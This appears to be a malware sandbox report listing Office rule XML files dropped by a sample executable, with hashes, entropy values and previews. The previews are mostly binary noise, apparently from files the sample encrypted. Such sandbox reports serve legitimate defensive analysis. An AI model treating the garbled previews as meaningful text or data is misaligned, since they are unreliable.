Preview:	<?xmlL..hK..2=..c9.(.JD...+.....5`..gi2..Q.v..0...G....hy.4...?.&\..^.V.......u...aJ...o.p'.21.jd.5..mj....H....Y..&. ..La.t.Q.K...D..;1b.1..........-A...1... .,u8...V...R..&........_?...KK.4s......q..).m.R'...a2z....}z.!>..t.HPy..f.d.qK...v..u.......A0.U.r...../.6(.p......M.t.A.P[......F..........S...T1..9..).......A...I..7...R..wNm.....68...F..A$...6j......^....](.8.c..F....G..2L.?...>kJ...@`:,.r..n....{7..K.f.'=..H[..A<..........H.As....4..q........X.<F...&p...R"..wf@...u...3...x..w.......D...{.-.[..98.Qx_.G2."\|0...p.C7.,.\|..}MTjU.;..T..',.{^n.{52.mcx..".R;...j..]f.KND.....!....;...B.X....q..YP.:.......5...Lxs..D.9....!..\.<..../........3=[....e.0.........RE).....5....;.~..*.mqh.hO....-#,.K...<.+...k....20w.........X.{~D.V.tKM...x;g_bt..9.DL...W .Q.o.N.....0&x...L....SH.'...Op..rj..u0.....g.z.......f0.=..'......o..?..6..e2...M.C..K9.....R.!......j.S...Q.......S....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.859849097678484
Encrypted:	false
SSDEEP:	24:KFENgfEkKvlcXaZjYhu9/l39umiXWYrXHn6IBf3P+03RViW5TxM0FExG6nww1bD:NNgskG3yu9/KmFsXDB1uMdM0FExGUwyD
MD5:	3EC9DE2E42958D5C456611379C658CAE
SHA1:	47F8C5ECA898DA7B1F9A898061465E1A2F0B6CC3
SHA-256:	192B8BF90DB02FDE2D13D4E8264A96A727F650D9DDFB09740B6E65D945552CEF
SHA-512:	EFBBD02C6402ACAA6E32A99B54FD45002E42E11DC8DBA1AF05CB32C3A46818E00FE7DC57CF10F24FC2018F0B39056AC1E2A5B32C82037956DB3C8DEAA92FC8E3
Malicious:	false
Preview:	<?xml.esiY.........V.>lhY.Bm4OCB..}..!.}..b>pD...v....BVhjW..I$.v.!y..R....U....W..?...<t./m..Kg(0!.t$.3N=,i?.P.....E.....]!u.5lk.u..{E.....W......C].C..?.y.6....F..\.&....{L..U;56...w..iQ`vS9..........-p:...a62....l.Z....xv2........,>.....bX.$.;O......_...[..7.f.Fd....{..`..d.X.T.....V..'.nN.....d..=.L.....9\|v.p.,y.[.h..Z$.0..OSC.\...'....'..Vj_HL0r.t.l.^__3.m...,.....:..+d.7Q....`?q...y..l3..}.mxY!1B...[.(..'%...f.,2.D.>.j....c..?WzW.9C.7...L..[....l...Y......@EQ.M....pk$.."z=7...%..O..`fp...........k....f.0.}.Z...I.^..#..`..!...0.LgW..$...L4A\|Z...\|.5b.....b......td......W........"..m?. SX.}...\|...RG..V.#...+o'....s...D..;.........F.H..l..JC..m7d.Am.Ie.:.8U.>.lL.+\..3.k.]0....._}.K.:.....m>.N.......y.Q.B...#....0.e.....`9....CS....U4{..Km&....i..+....`....?})..-..u.m../..Yd..T..8..$UP..~..[..@..B.H..J.?Lw.`x5.t..e.r.9...U..`WI...w..\j.....Z["~.g.r..8**7o.C....:B]J.!..Dth..3j.Y.8..U.F.....(..<D..u4.vM...H.......b.....$.A.=.P.b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.7503455150828735
Encrypted:	false
SSDEEP:	24:JM6YSdQ0elcJuKZIBxKORsipJfUdvjR4mw1bD:a6HdQ0fexnfJfUhyD
MD5:	F548E9BFA1D93E5DA575B30B4AD1726F
SHA1:	B8B147887901B9C6B21DEB8031A2C57AC0FF07AC
SHA-256:	02604AC888E1A74A3547ACFB300F0C839C19335CD92068C1C306D18759DFD225
SHA-512:	8D27CAFCD2986C9583BF82F2B1D03DF41E102FC813DF850CE96B8B5F89C9781A0D51466002FF305D09668BEC020872AA3557B4430A0C667FD611E18FC7DFB058
Malicious:	false
Preview:	<?xmlZ.../.o....:....s.M..:..W..X.N^.:....~.+.f...]:O.......4gMw..e.6..A...5........d.ie...p>...W$..%w^...#..{.WU6.M.!.%....y.f...7.^:......g.PPT9.<:..".\| z...s...~....{..ov]..R.....sU:y+....yx2A...y...c.l.M....w{..eM..c.g..,.yf.O\..ISR'Lnu......(.4\~9.5.........1S.@.?.rF..x....8.......Z.F..\|..H...D,1`........ph#.b......K.Ff.j.v.........".d.YrO(.P...tdH^..d...g.;U..%.......c..2L.z5.f..Z9...6:w4/`......-..A..0.l.iI...(.[Mu$.....#Y.s_.....SM.>V.q..K:......9f..N.......y.sg.S)..h.P.....zw+.....d}3.O(]...#...M:...F7...tZ.........ev.n..Q..Z..4._..C4..,Q.4;....l..]..m...."........PP@............n.u..lm)..J....B.!{..0.S9RS]....>r-...g.KH."....0T.v.e...S\..N.3.....+f...>...z....+..$........ t...}.)..Z.(.3d<6.2.W...HR\....9._.....`_.e....A......2J...,.G.g..{3;.r...R.....dQH.g......G'.n.0}.Q..w....9tJ.6.s...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.786322184072979
Encrypted:	false
SSDEEP:	24:lziWSujvW68Rlx4XWbzeYxogKciUb2uw1bD:Tp++EzeMogCM3yD
MD5:	968C14BC26DF7E967AEE5AEF4EC09D62
SHA1:	E07E875E6E485392622276068FA3045EB6545B16
SHA-256:	A956464CD682D84F979D2921C5FE891F6FF6CB6E76F4463CFD962CA5907D90E7
SHA-512:	1D56F1F70B8DE212874DA26A1A17A882F0B0B0F7E80770AC3DD8C3D35F689EAD1C262542F2D3E7D89C541CAE2303B5853C18606A8ED75BC2CC29AC6AE300437F
Malicious:	false
Preview:	<?xmlvSc.M!8t...c.....k...f.$..5 ...>.lZ..Y.......x)...,F.@Y..1f.,..Q{?.-,.....s....M6....q.l...._[....?^.r....F..........#....A\|...G...O.I...]u..b.`4.w..wf._..[z.S#W<Ei..(.`....0.`3.p..e.WY.....U.R.+..$.l......j.48.=.._oj....{....!Yhl.B......9LUQC...iE......'L.`...ar..E..!@Wp..6.e....#...Fr.@.n.[......t.........._.2..}T.M...C_.>M.y...HU..P...9. ./...Q.......?..S.fS.'..2v..&SxHq..6.p...Z..m8..i...}}G....Y{....A...N:q..//..[-.4q.....wc...t.JS)TV-...b...1.KW\..fm......#>.k:"..RmK...AL&e...v.}......m.0....n.`Dl..)7..x.'..L..d....3$By....%......9.Q'7VGQeit.v.......qp.cz.(..r..8V...v.M..._et1.E...L..qi.Y;.]^.<......hInAs.5.]...!H\|..d}............g.....^......P...\|.A.".D.YK.G...5.s..T.........43...R.{L.-wZ".CN...E06,.........K.....Y......>{.W['dlY...^SwL...E.qFhTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.802276259286224
Encrypted:	false
SSDEEP:	24:HGhdwe8ULyrdaxqbM/eOXXDRFuhyJTdy6wTbuvBLHd0Bw1bD:HGhdwPzsxQYnDRp05XoHKByD
MD5:	9D79A98DC16C020612C4CCA3B4FF0DDD
SHA1:	DEE9B31FBE6EFD08DD5D0603CDAB3FF2B2A95E68
SHA-256:	247FB3A4034F1819EEBCB36E71FD6263FF1F458632C68722350D17B6542A042E
SHA-512:	CB11B76DBBB24A5C162BE9401CDA49820D4C9892D290AFB8BA858D3DFB46D832649CF45962D5BF25FF11C6A617E27024BA5F04A33BF6DB800F4D6AEC69251A3F
Malicious:	false
Preview:	<?xmlFs....6...# $..8..3,l.3.....G./.e.(..=.0...._....=.G........]r..v$.K<.O'Z.t....P.(..[...p....IE..ZI:U...t.,ot....j..gX^....-........s.>.u.....t.........G...l..P...v..\|.M.4....^.Y.L<.=W.3....sd....d.....5s...X....Z.2p...&..j7li.......F......R.bT\..~.0.....S....?.;.z{.Z.4Y...B....8.,..4...\|..D...e....$..g?......,...!....Lz@%.Q.8.WK.n1 ..B'A..:.f.Cr..3].V.y....\|..@..;.b...B^...R..>.S.a.......W).r'.g...86'63$..R.&+.0...o.... .rV...w6......-.....G...v.&........X9..".c.A<...,g.B2H..q...}.P...[.$.1..&.V....}.s.&..@e-.., ~:R....qK2....[...;.7.$.....&...L...i. >..(....eF....S..z.F+6.Hd....#....7.f...."..#....,.*S....u5Z...9_.+........0Hz....I...@7:....m.T9.......8....].m.......{_L...i...v.$(R....sg.K.Rz.s"...u......]O&.RY .[r.w..L%..h...P..G.cuQG..B.<......VE".:.=....#.0.X....]....S.e<..:r..b..;DEzQ.....zN.G.o.D..J.-..7a.......&..+..b.Xg.%0...`q.H....}..YdY.o..n...+...&AQB..{....2..Gs........GVk0.&k...m.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.78193867121524
Encrypted:	false
SSDEEP:	24:wMBuYm/xoyNZNUbPdqLllZehv/AL+pw1bD:wgO/xpZ6DQLpetY6pyD
MD5:	CA5900217F77223DB3FF8211081147F2
SHA1:	767EB332C4804BEB62C1C71EB019E8B34F7EDCFC
SHA-256:	1B5D3C94DA364B37EA89A6A78B6AD687B46C0EECFEA4C20B602374CA534DB8AA
SHA-512:	3E70219CC5634B31CDFEC392EE80496EF64FB2D855CA731B01CABD1B104DB74C1E545AFD0556129F0ACC4FE8C82AFA815D8AE714FDCF93E1D24D161571403CAD
Malicious:	false
Preview:	<?xml..o.....)'...U_.v....Z.K...b....}z..$%.-8.O.Y.nKo...j.:{0..T4.V.7h.u.....{\.?..........Z...uDSV.A"R...J.?..%.l.a.hw.T.HC.<......]...x\V&U...`eO....8Br:.V...G..B ....../....<...+.......?/..&.l\|..H..O.0I..?.K...N..q....X..&>.d9...@`.l.....H8k.H.'.].....m..v~5.?(;..u0US...V...I./...K....c..tC.\u....*r..p......<.].....V.`..Z..[<E..d..e..o...`.r.H"....._...=.?GY....)...oY.........N....{}W.7...G...& .....0.m'......v...;...U.O...6......K...J..x..P(!..V.gC.#-d...r.....Y-@.......j...Qs..$....=..Z..Y..f.5?l;O.x`v...(...m.H.5...../)y19..^xz..[.3.9.."d\|.....Aa..j.q......_.y.Y77R.w...Z.)je....N...K..X....X.g...Z...'lfb.`.b.............bi.>.v.A.... _..$,.......b.O.4......[37.;?...Nhf.}.G5/.(....9.B.M....g.&Ep.2XD.$.W...t..>./6.W.zV...L.j..bqv.h n.b .\4...R.....s_TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.98251991054567
Encrypted:	false
SSDEEP:	192:QRq2eZYI927TrV7J7L/BK9HU+Q9j1rxwUw4ATDQmSEGvrg+F:QRYE711L/BKKJeUw4aQmXGk+F
MD5:	27EB3DF6BB1C41A8A1CF7B6EF3A8275A
SHA1:	D50B434A2C8D7A1D0BD6A5CA0A5BC1602F31289A
SHA-256:	7D0C44677EBC60E37DD2C58A9AD8164F2CEAAE57D0A409C49FCC93D4F753D7BA
SHA-512:	409DDA8BFEF7AF2D842F25E39AB20A563A66B7A1934EA4D003AAA295FA9122C146EE41401E276B617A65BFD939E39E8AEC8EFD5740E6528A805C084A52444FF6
Malicious:	false
Preview:	<?xml.k-c7.748.M0P.....k.H.9..z./...@.F.S.h.WU..by.V.z.....lJ..f.......a8. /$...<.O.M$...AhIQg......c7....(.]...%]3g../.Z..9.V....GZ..y..<2..lU..=.gN..H.T.....(.!~t..O.....N....@&...#}...l..X.B.g"i..7....r..T......R%.4{;.w5cN..x.=..1Gm.R....z..2........\|..HVnh._..%.S..F.....B...X..]..'40.S...G.........2?4....g6.(.......?..H......U.._l..#.R.n.."NX....Me.P@.....9.....qQ.....6..Q..s....mN...)....@.:.L,.. ...m.8..._..(v.-.5..t...........!W..e...f.9.....Db..........uf?v"b.E>hcj..*u...$.k..>_..iH.E...x...M.Ir...]5....X..Q...N......i/h.J...v.....Z...lZ........m.&.....-..y5...K.r...........T..V.X...f.,a..aQ..K....$..8<......8.....K".\|.j..]]TYP.ZGPj....N...A.B..?.2.."........'.j}+#c,}........VZ.d.4.3..s%..}...i.P.+.aC`..Pi..J\QE">.../....o....wc.....f .Tf.G'...uqPFB2.p.SB..".O....0.h...T.T?..z.q.Y....1..fc..i.....~O.,T.....dnl.'..5.:._q..n...)P.....i.U.wb:(.......d.G....c.n#G...d..~....lO{...D.........r.g..IJ..r.a....j.d.F...:.;-.J...P...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.8161966963689
Encrypted:	false
SSDEEP:	24:hnEiYQtRGAc6lCciwv6wwByPgI/UbT1KG3n/3tQBgQOAsZ8o3ww1bD:NEqGu7JwByPP/gT1X3vtfQO31AyD
MD5:	1A7853C921DA0D8F531C2F9E0039B842
SHA1:	C3D629111DACC0F42F9BFBE784E70A75B2BD0625
SHA-256:	EE572FB9F57F63A6EBFF3971BB267FE9B5671CB4CD512C408B4DC15ACA2A8D26
SHA-512:	DE44316109EA23B011EE930B3DBC35A9F09AA57AEF786A3C16B677F5B75157557BCE29CD092634F20B423E90528509D3CDF0BB8E63D59E2EC1E6B3E291CA28B1
Malicious:	false
Preview:	<?xmlS.Z....a........v..........}5^}..O..-....T.h..}..O..q.........f>.Ar.....e.S.....@I.ia../\|..N.....Rcy......DL..1......s.W....".g&.KD..}=D..WP%y..l...[...2.7I.X~z......&.s.....$..$u..i..Bc.0nO..Dh..Y.......B...!WGfm.z...z.....we}.....l...i.Z.....=5De.-.........v5o:...=Yys..7.W&..../..?U..&/=0....."..17....~.N$.Uh.....D.....8.3.@.9..6T"..H.X.i....j0O.......L..cmW......1W....y~..3..\......=.-[D.5A.W....Ti".m&...! .....mE....cU.}..z.........zHs.m......Lw&..bj.G..... }.1}.4.c..<......o....S..A.`D.[...=.a...K...NPT...m.T.....CJqK@.......p.'!.A.5q....g.c.t,...............v.Vu......$.....e...Q...W...L...`...m`.........c..<.......y{{.]...b.....]......8`N.....r.]#..8Z.w.....(N.T..'}.EF\|.T..c6.0......s...8...F..\B.\(..w.86&.$E[.:X.x...N.U.....w...w.........W..8t}...r.4r....n........zK^NF.......QA..f.....c.g.......J..>..,.J.5N..7..f........Qi...?..-..j.I.........[..^..,/.......["...g.zXH.F.{..03z.0.-......y......*......9<e.. Lm.o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.7912996277639
Encrypted:	false
SSDEEP:	24:vsyfo51XbbiVkFxqlMPGDmrkpvygi3XC4+XisaZ1Nx0gyiH/1w1bD:EMoDniV1MPGi2dinnxygyi9yD
MD5:	1C2C81A29564B4864BB358CE7119C8B8
SHA1:	ACC76644759FA90A8581121D5C5614BEE6527FFA
SHA-256:	7950013849BD2B3A4A020970970CDB995D229A54EB7FFDF20427EC79D587216A
SHA-512:	7368D6899B0EF330AD4E9EB9BEC69114E93732DE2F872529A7DA136454976953E2CA3B5FCAB78159CDCC5077CEB2BCF044DE7967125B53AB37963EAF9796E0F6
Malicious:	false
Preview:	<?xml.=Z7.bi..o4... M.....Bs...F.^..F'%.BZ..6.._}`SM.(.....;...K.y...,......F...oC.!l.<.C.#.K..Z..C.0.......<Y.s....:.sj.df@.}...$V..4.dp!M.!;:.d._l\...d%r.....+.....1#...g[.0...{.. . ..n..U......,.!.i..W.._mFHP=ZE.'.."x.v..j.t.....J..0`u.6.A....v...S......65j.n.E...A9..7Cm.-&....d.j...#N.B._.w.........H.u&...^i...8&.3&....:v..q.H..)_C.e~>c...>%x..F....`..GL.b.+..D.h[...A>....]....(..GN....t5;.3z.Q....x..k.S.4....kK......"..9......z.....?..u...J........}j_....j^...4.Az.!.ln..a..xp..v-.Vh5...T..."...Dh. 5a.Y}.B.c..i!.../....M.y_.c.4....{..?i...9......G]39..... anPI.<.}..Taa...L.0.......P...e.ZQZ...{...r...P........?......{.....cY..k....th.%cD......7,.....`.......ac..w........zQo ..,.....Q..4.6^.'...;.`....R./5....7..fB.sI..Ky..6L}.....Q".Y.U..".c.A.6....M.`.J.F.J....k...}...BV..+..z9h.=..I..U..zJ..!g$....}.V.F..%..^...g.>I}!C1P..!...v...`.8.(.~&m.jG..HS.........g\|D........W;.2.L...........f0.h{.h.o..".j....S.^.....I...=Z....R.1B6+....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.805232831382576
Encrypted:	false
SSDEEP:	24:L3gDcYZY0/VZOUUnpAsLG3NBGwoW/N9VP/Di1X0XUs9ww1bD:LQDcH0OFSx55P7il0XUsiyD
MD5:	F109AA0F92A7CFFB2602BA340A3365C8
SHA1:	55F462ED532D70F79ED6E59FC8E6DB6254057A6F
SHA-256:	9CF1775C715F6E7E9D7DEBBA26392A75F306EAA3B03F20D9E7A15F31AC14FD3F
SHA-512:	DDBD3861F82497D92FAEDDD8D1E933C256087327BD1014DC9FB7F9F69D7171D1E3B7D73955A59E84ADEE86657FE45E711AB123A03FAE6E93F65254831DDE19E3
Malicious:	false
Preview:	<?xml).&^...b..z!'..oLh\|P.!}.xJ..5$YrF...,R..C...L(....".G.......a<.t]...................;.A:......$..K.....1......$.>(.Y....]~.Jw.Bq..2.(x........1......W.<W.U....mnD..E;...8\|...>.J.p........=....u.H........`....%&.8.^.r...g...5.\|.#-.B..?W<.........j9..y9..N...6r.@...-T.c...E~$.U.2...#g..;.G.<.=.XG..=.....0..U.aZ.:...f...K,...n.<.9.&.....]..%2.rw.Ap..R...9.(l..]..l..E.r3...,..&.Z......I.R..x.Z..AC.....?k....[%D+{...\|uI.....G..@.n1.@..-.......q../.....ZH._S=L.A"....m.h....Si...P....2....do....<...<)B..:.9.'A.;..._..gD.....6..:w.ZJ....38...V&....>.kP.......)......1..Rw.l.4J.l....i......9.....K...C...4....o.../d.H.=....v(.........4/.L...=jX.5..[...T~,..x?.U.#M3.8.+H.N. .1......,W..X..*.....My{.a.(... .RW..Cpo.6P\|.mI....PO.4E-q.q....I..A.%.b.z....k...r&..M..N......:.Wl..g.$..\.R!:.....d.^..Q...4...c..b.+...&R0.<A..X.=.t~...0.v..X.z..Y...i...$}..;.....F.0.....s...o.h..iE..4....f<ITj..#.k..x....H.T$N{.:=.>.V.B{j..'..#XJ.kN1s..\"....JF.A.TkVHf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.937559815749306
Encrypted:	false
SSDEEP:	48:AymIwGKXkDD4uM8qjwdj1GDVae5/NQMHAZ/ljrmochlhR0KEMhs/ZjjYka6QlwyD:Lmi3DpMUUB/+/lfmoclGM6/VYX6xa
MD5:	EA1FBDB6A2A2C1FC07E0BE920801358C
SHA1:	D5AC2545C2E77D78CD17651ADF13B8587BC79857
SHA-256:	CE24DB6DA7E966E32FC614F5578A13E5D1A3795D8B340908A672F22C968D26CC
SHA-512:	53776DD01DFE3DC805FAAC3086EEF15FAB10064C304F7B0992811FBB9B58CA39F56D70BA0BE64A6E67D8B377955F8D6556AE37A4745C6907673E157339CDC389
Malicious:	false
Preview:	<?xml}....k.^.G......-.c..Z"..$o....R".q].m..y....)uF..v#=+,8............4...2.K.........D..F?j.L. ..k.....eA..l...n..8..u.>L'..tl....mC.'U...B.<..M-.....A1..?.G[(......E.?.]....t.....6........G...........[.Tf.x.K........d/z..AO.?..i.Xj...N..n...L..M.wC..7.s../.B..eg..=..}p;L..6.(.0....v(7.R..F.I.%..J.....P.=\N.[...B......)...#.0.8!4.1..-....].}.[e....`6d.u.y....A.rB.'7....=.y...X.>.@n.....A.G.b.A{.."..4.lOM.l...=....ym.NM..b.....3=Q..,73...d3?.T<.2.....wY6....N.tIO#.)....Di^..QL..}..5z>'.4.pf+.x.9......)$.0.N7.q.T....C.sO....h>...aRDWH..o.QG.2..\.j...N.\.\| MU.....A..c....h.T...u....3 ..8;.<zE^..1nf`.T3..t)u).&A...-....<.cB.oo8..=..Q..a....ud`..T....YM..J}..\.}cr..PQf8\.\|.p...k.jFNI3.e.&...=:E...V.,.!E L.,...#.....Lfb.D.X.F..,..b.I.BU..>z.1..N.Y.@.hUq.Gm....;.!q...#=x..8N.t.....2C+....Z.....D..6..7.}O.4_...9x...a.au+.&.W........T....T..........r.\Fj.T.Wa.n....}...l..Pz.....h.W4...Gz_....>~.14.\..[AM..$.:~C....~..`\|[..A10!.q].%,r..g.s?..M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.825873841314861
Encrypted:	false
SSDEEP:	24:38AmGXHGQwzqt6mM/cyeQsJmQTrcovdMQdo6PnlavkfyaLw1bD:sAdHNht4k/6o1PtPlavCyD
MD5:	D1EA70ACCC838C843F9063FDBF81F613
SHA1:	38213BF501553F1585DD38CE3654297102036FEE
SHA-256:	F15F954F36F5C2318B9E3850883A9ECFF9B5F1576050578712EBDF801ACB8616
SHA-512:	75B1A1264A15E163A026A8FEB3984FB685F35FBA495A6A33713FA2D28E5DEA4F9B836C3E96E289438C36B3F0EBD1EC56D9FD2B2D3941E42AEA71AF497D627D85
Malicious:	false
Preview:	<?xml....J...(N~...F2.H........hi.6..$%...f........N.%....;."s..%.../-.......V.[Zx.I{...i.B......5q..e.c..%L/E0.#.p.aA..}&5u..V.U..CMZ.y.W......2b..R.!.x.890.1..D.......&E.`.......Y.._0.r.}....~O..y..H..\|...)N...F.7..`/. w.....q...U...l..9.cGa.:.X1...q.3.....w.......xV...f.w.Mt._....n.FPh...s.`$.b.....I..6...[....[2{..}.......L..!....Q.....'.%-..}..}.R...2\|.eg..i..br+...[...tp',.\.<.....Dj..W...z....xoM.T.]'..=.bu+q..}..mb....=..j.x.Moi..v.\J.=d.e..m.h...~.Bvc..N.....(.........e..!&p..x.m.U..\...Z..wu..........+..A....h....H5..z..;$yz......(_i..E.Y...H..5@.....'5.0DD..].g&q}..GF..Ax..\..hbM6...W.m.u......C=..\|...........'.........T..8J...@..$..;..P2....K7..H...AYtJ.+.rq7...r>i...j.....Y#.Z.......\...-]....Ql..g.x.-........[a.^B..^.c...T...p.B.x.=O..3......l....u........N.=.......j........O=,...{.P.S....._...J@...@..~.pOu...O.ck*....J.."./:.X`.=..!v..."x\\o.....\.S..<V.....~$.._e..r..=E.q.....,..h.%h...1..... ...v..jlF(......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.977490714270442
Encrypted:	false
SSDEEP:	192:wkTL7h2KRZfbJEFwWPDyS8qcko+X2IAesN:wkT5VFJE7QqboDE0
MD5:	013195537AF840FF8D062E361712ADD9
SHA1:	295F3C65D0E5A2CAC8378709F62C0FE8F4ACBE56
SHA-256:	040198EDB0EF6D5EE9FE15585D8F63378A7F508366EC6A78D04BBFAB332DECD9
SHA-512:	F47B90A0FE5AB44CE5E9F777B0C8F37B1F0B805DF6740EA5F3D61D87EF4B7806EB4BF61621D20C5B82AC9F9BEB51ECA2B267B5A8755571904260E78ACBD7F443
Malicious:	false
Preview:	<?xml..Zq..~.../S......$..ZZk...1F.G..ht.R@.......n../..}...P.l;.7../...JL'....s.v.~T...([...\.5...\|A...).(..Ntm..?p...v..Du....Ax[....B].E.&.....W....$.Rg.z.....y..r$......E.)..a...m%aa.v.;..W..+..@V\.j...........\Cd..".;....L.Nn."U..G....2......U.h....;F.r=.I...~..d#.......:6..I4..I..=.\= ....c.@h..H.+_zY.d...C.:."%Y .c.X.7C....[...R]..^Q.X.[\|...nx.x..:.....5....%3N.......J.y~=.%_...J.QZn.(.F]..._Q}......AU..6.....~..\|^..{.)5.r.....T...XK.Q,..<........X......,.\|..".^.!Z(5.......,Q2.L>...5-...P..\|;..3.w........"...L.,.Qd....s."U..j5#.c..N...!..hP._H.....w`..h.....]_....l.tYM.p.~1%.?..z...(..Q...)......2c..)l...t..d.\|.pzd..........B..`...st..[.e....`......{..O`p..Tz..Q.....k.V..Jo..s.._dy>.ww...-E.y.UC.17P..52......0..\u..X]I\|.`k...e..;.o>.$9.`...n....G).N.RqH u..w9.!.y.C:C..W.xj....&;.............[.BA.{..._mdg...4O.Z.I$.....:...<...>......<q.8..M5..v....d.......6...^q..G....2?.+....MBE..?9_.2>......^.....`$..,.n....t......?........w..sa..o.7.(.Ic.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.738681911323112
Encrypted:	false
SSDEEP:	12:mJ5PouyR3k21dXtjcfVLTmdMW90cg3yAOApUzvJRwu0tf9KFmKxH+5jmoqw1ciik:mUuckSdJch5Aw5OAGRwu0tpEtw1bD
MD5:	07A21E00A1B981E59E4771F57FC002C0
SHA1:	CFF238670FC739BB833BF1AE3E16A7F0EAC6E556
SHA-256:	9C19AB73893A96F1280EFD9F696E98F79D5A400387CA7071D8B64617BFB08404
SHA-512:	F1C67377B0E67FE5F25048B4434B4DDBE0AE08B689739F6085A13EBFFBA9D6290D93AAB2BC49E20D36CC3F1D524D7188E7A77FEDF29CD76E644A0A2AD811BFB7
Malicious:	false
Preview:	<?xml.5...B.{].\...G...4.j2.V..[..YX.$c..........f..K..G.ct..y6,....`....@~3^V....Q...B.%..`..d+....>.N..s..mD.......[..2,.<_..$&.~..&..j....0.J.0..xF..:G....._.s../Q.>.r.}......?=@~,.P~.Xp.m.q...uB..P...V.cPt.....s.j...$pV...q.t.\.7-.....i.....p.........M..M.6......9.A...2......;...-....O6Z.DLa....I........NZ.I..$.S.2T...t......(..._..z...@.h...C.....F....i...BK;.......6.Tb..1..URvztBQ.....'kDz....q..-..~S.......j../.....].F.+h".%hK80.y...1".....>.v.Aj......9m.>.R...<..0?K~.D.HI.....9.."....5H!..B....F......>.z..E...H2c ..zRWU)......h..eF..aD.O..s.o6.y....3..T0.?..SZX...Uj..........a".F...B..v.....z....~h.Jd...(..@...j.......\.........<m9.p s...^.`.kK.5....S?*..3./...\..Y..;.Ilav=.3...Z..14p@.A..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.916357632922394
Encrypted:	false
SSDEEP:	48:P2mVY1zbXn543QCdnNKBfvA4aLk2s6ubhK+S+ECVcyNyD:emezbXnGACdNKBfdkfN+S+EsjNa
MD5:	0A3029FE0EE298D419C759BBDE3703C3
SHA1:	8BF370338151A3C053821CD3479E6BFCD09B4BC0
SHA-256:	7A9903C9C9ED488C42F3D4E2AA06AC1FF106A6ABE6A9F8DBA177CE3590B8EF04
SHA-512:	D2042F37C03B04AAE1C8CBB549E7E1568C511A1C1780834CC9E844DE3A7FB6B5AD1420AA6A9043D5631E1997F8E6CDFB1FD4E112AC152729658B91233B210992
Malicious:	false
